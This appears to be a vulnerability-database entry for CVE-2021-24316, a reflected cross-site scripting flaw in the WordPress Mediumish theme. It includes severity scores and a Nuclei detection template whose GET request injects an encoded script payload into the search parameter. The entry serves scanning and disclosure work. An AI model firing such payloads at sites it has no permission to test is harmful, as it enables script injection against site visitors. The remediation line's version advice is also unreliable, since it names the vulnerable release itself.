4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.003 Low
EPSS
Percentile
70.6%
WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The ‘s’ GET parameter is not properly sanitized by the search feature before it is output back on the page.
id: CVE-2021-24316
info:
name: WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The 's' GET parameter is not properly sanitized by the search feature before it is output back on the page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Mediumish Theme plugin (1.0.47 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
- https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
- https://www.wowthemes.net/themes/mediumish-wordpress/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24316
- https://github.com/ZephrFish/AutoHoneyPoC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24316
cwe-id: CWE-79
epss-score: 0.00317
epss-percentile: 0.70371
cpe: cpe:2.3:a:wowthemes:mediumish:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: wowthemes
product: mediumish
framework: wordpress
tags: cve2021,cve,mediumish,xss,wordpress,wpscan,intrusive,wowthemes
http:
- method: GET
path:
- "{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E "
matchers-condition: and
matchers:
- type: word
part: body
words:
- <script>alert(/{{randstr}}/)</script>
- Sorry, no posts matched your criteria.
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402202de8ec115ae8a3bb318422ecf0582ed6dbda74e0aec7858ba6c8616ff657977a02207416f4b88d848c9ed14c944616a1822b061cddd6abfb08293deb1987e14ff9a0:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.003 Low
EPSS
Percentile
70.6%